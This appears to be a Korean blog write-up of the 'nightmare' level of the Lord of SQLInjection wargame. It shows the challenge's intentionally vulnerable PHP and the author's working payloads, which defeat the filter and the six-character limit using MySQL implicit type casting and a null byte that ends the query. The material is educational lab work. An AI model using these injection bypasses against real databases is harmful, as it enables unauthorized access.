늘모자란, 개발 :: [LOS] nightmare

늘모자란, 개발

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>


이름이 좀 무시무시한데

6자리 안되게해서 패스워드를 따내야 된단다
처음엔
pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
고민좀하고 있는데 진짜 허망하게 힌트를 받았다

[22.06.17 01:59] 나이트메어인가 할차롄데
[22.06.17 01:59] 나이트메어가
[22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
[22.06.17 02:03] 헐
[22.06.17 02:03] ㅎㄹ...

가끔은 어이없게 힌트를 얻기도 한다.

select id from prob_nightmare where pw=('')=0;') and id!='admin'


정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
이렇게도 할 수 있다

select id from prob_nightmare where pw=(''=1);') and id!='admin'


정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.

우회에 우회. 6글자! (7글자지만)

2017/06/21 13:18 2017/06/21 13:18